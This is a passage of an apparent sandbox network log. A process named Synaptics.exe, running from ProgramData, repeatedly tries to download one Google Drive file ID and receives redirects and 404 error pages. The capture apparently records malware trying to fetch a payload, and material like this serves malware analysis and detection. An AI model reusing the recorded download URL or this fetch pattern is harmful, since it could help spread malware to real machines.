2025-01-02 19:28:41 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:42 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5lNVW1XAuc_-q1rfKTFPsMEm3r90FxlcCKSWn-mnYFIv8XgNurb381MK22M8nvcaCr Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:42 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0Nr1aiROBuihEJKhFV2G1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:42 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:42 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 69 66 59 4b 42 4c 61 62 38 74 33 77 41 65 49 50 4d 4f 54 45 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="XifYKBLab8t3wAeIPMOTEQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:42 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50015	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:41 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-mHttjp0gSE3OTGv0z7ghIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50023	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:42 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-zc3aUKsmprFL6z-F1Ng5lA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50024	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:42 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:43 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC71yj5fuDa9K-wM8iRLAciVHp01SXPa8NLgFEG_yM0q4qIRXA6n1x0GFqBkIeJzIInf Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:43 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Nbx_9d-csIQN05hGIruY7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:43 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:43 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 63 79 54 46 30 5f 57 4b 30 62 55 49 64 6c 4a 52 4d 74 70 64 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="ZcyTF0_WK0bUIdlJRMtpdA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:43 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50025	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:42 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-e_i2VzIMpvqucDkxvTSzSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50027	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:42 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:43 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Ki5miPaUWvNX9J3xwtBQyJ5nDMmW5Zs3fsLFtpl7oo-tB1SlZkNnJM3qF8SkIFT8emdAwQVI Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:43 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Sw9QF2vSKQqQQz5nmTwWaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:43 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:43 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 6f 6c 71 79 68 51 39 65 30 52 41 6e 48 57 32 36 58 75 4c 31 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="tolqyhQ9e0RAnHW26XuL1A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:43 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50036	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:43 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50037	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:43 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50039	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:43 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50046	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:44 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lYCiTwr7TaCpmr0orqpRoA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	50047	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:44 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-RnrnIYrKMr7YI9cN8akTyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50055	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
